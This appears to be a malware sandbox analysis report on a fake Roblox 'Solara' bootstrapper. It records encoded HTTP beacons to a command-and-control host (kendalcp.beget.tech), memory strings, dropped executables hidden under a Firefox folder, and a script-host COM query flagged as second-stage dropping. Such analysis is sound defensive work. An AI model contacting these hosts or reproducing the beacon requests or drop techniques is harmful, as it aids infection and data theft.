(Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: getsolara.dev
Source: global traffic	DNS traffic detected: DNS query: clientsettings.roblox.com
Source: global traffic	DNS traffic detected: DNS query: www.nodejs.org
Source: global traffic	DNS traffic detected: DNS query: kendalcp.beget.tech

Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:6463
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE3E000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADD41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:6463/rpc?v=1
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:64632y
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientsettings.roblox.com
Source: Bootstrapper.exe, 00000001.00000002.2000622001.00000195C6572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-term4-fra4.roblox.com
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADDF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://getsolara.dev
Source: Bootstrapper.exe.0.dr	String found in binary or memory: http://james.newtonking.com/projects/json
Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000003225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kendalcp.beP
Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002DC4000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002DF2000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000003334000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kendalcp.beget.tech
Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kendalcp.beget.tech/
Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kendalcp.beget.tech/03ee7260.php?DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljq
Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kendalcp.beget.tech/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWt
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADDDD000.00000004.00000800.00020000.00000000.sdmp, reviewDll.exe, 0000000B.00000002.1848465544.0000000002888000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.27.dr	String found in binary or memory: http://upx.sf.net
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.nodejs.org
Source: Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe.0.dr	String found in binary or memory: https://aka.ms/vs/17/release/vc_redist.x64.exe
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://b37c8755.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://b37c8755.solaraweb-alj.pages.dev/download/static/files/Solara.Dir.zip
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientsettings.roblox.com
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADD41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe.0.dr	String found in binary or memory: https://discord.com;http://127.0.0.1:6463/rpc?v=11
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADDEA000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADDDD000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getsolara.dev
Source: Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe.0.dr	String found in binary or memory: https://getsolara.dev/api/endpoint.json
Source: Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADD41000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADD53000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe.0.dr	String found in binary or memory: https://getsolara.dev/asset/discord.json
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gist.githubusercontent.com/typeshi12/072784a0d3a602ed441a435d04c943b6/raw
Source: Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe.0.dr	String found in binary or memory: https://gist.githubusercontent.com/typeshi12/072784a0d3a602ed441a435d04c943b6/rawChttps://pastebin.c
Source: Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADD41000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe.0.dr	String found in binary or memory: https://gist.githubusercontent.com/typeshi12/29ef3a44a19235b08aaf229631c024d8/raw
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEB9000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ncs.roblox.com/upload
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADE57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/pjseRvyK
Source: Bootstrapper.exe.0.dr	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nodejs.org
Source: Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe, 00000001.00000002.1998794448.00000195ADEDF000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe.0.dr	String found in binary or memory: https://www.nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi
Source: Bootstrapper.exe, 00000001.00000000.1754013005.00000195ABF72000.00000002.00000001.01000000.00000006.sdmp, Bootstrapper.exe.0.dr	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 128.116.44.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.23.46:443 -> 192.168.2.4:49734 version: TLS 1.2

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: 3_2_0070718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

3_2_0070718C

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Code function: 0_2_00007FFD9B880A38	0_2_00007FFD9B880A38
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Code function: 1_2_00007FFD9B8B6DB0	1_2_00007FFD9B8B6DB0
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Code function: 1_2_00007FFD9B8C2540	1_2_00007FFD9B8C2540
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0070857B	3_2_0070857B
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0070407E	3_2_0070407E
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0072D00E	3_2_0072D00E
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_007170BF	3_2_007170BF
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00731194	3_2_00731194
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_007202F6	3_2_007202F6
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0070E2A0	3_2_0070E2A0
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00703281	3_2_00703281
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00716646	3_2_00716646
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0072473A	3_2_0072473A
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0072070E	3_2_0072070E
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_007027E8	3_2_007027E8
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_007137C1	3_2_007137C1
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0070E8A0	3_2_0070E8A0
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0070F968	3_2_0070F968
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00724969	3_2_00724969
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00716A7B	3_2_00716A7B
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00713A3C	3_2_00713A3C
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0072CB60	3_2_0072CB60
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00720B43	3_2_00720B43
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00715C77	3_2_00715C77
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00713D6D	3_2_00713D6D
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0070ED14	3_2_0070ED14
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0071FDFA	3_2_0071FDFA
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0070DE6C	3_2_0070DE6C
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0070BE13	3_2_0070BE13
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00720F78	3_2_00720F78
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_00705F3C	3_2_00705F3C
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Code function: 22_2_00007FFD9B8A8E42	22_2_00007FFD9B8A8E42
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Code function: 22_2_00007FFD9B8A8096	22_2_00007FFD9B8A8096

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe EBBCB489171ABFCFCE56554DBAEACD22A15838391CBC7C756DB02995129DEF5A

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: String function: 0071E28C appears 35 times
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: String function: 0071ED00 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: String function: 0071E360 appears 52 times

Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2488 -s 2192

Source: reviewDll.exe.3.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: VrOvfXIxMKIwGaWOj.exe.11.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: AYUGPPBj0x.exe, 00000000.00000000.1728082234.00000000004E0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBootstrapper.exe4 vs AYUGPPBj0x.exe
Source: AYUGPPBj0x.exe, 00000000.00000002.1756981416.0000000002801000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSolaraBootstrapper.exeF vs AYUGPPBj0x.exe
Source: AYUGPPBj0x.exe, 00000000.00000002.1756981416.0000000002801000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs AYUGPPBj0x.exe
Source: AYUGPPBj0x.exe	Binary or memory string: OriginalFilenameBootstrapper.exe4 vs AYUGPPBj0x.exe

Source: AYUGPPBj0x.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: AYUGPPBj0x.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, ggvLrLPuejHMJvahmWu.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, ggvLrLPuejHMJvahmWu.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, cRM7Zv7NyOWGjUU824j.cs	Cryptographic APIs: 'TransformBlock'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, cRM7Zv7NyOWGjUU824j.cs	Cryptographic APIs: 'TransformFinalBlock'
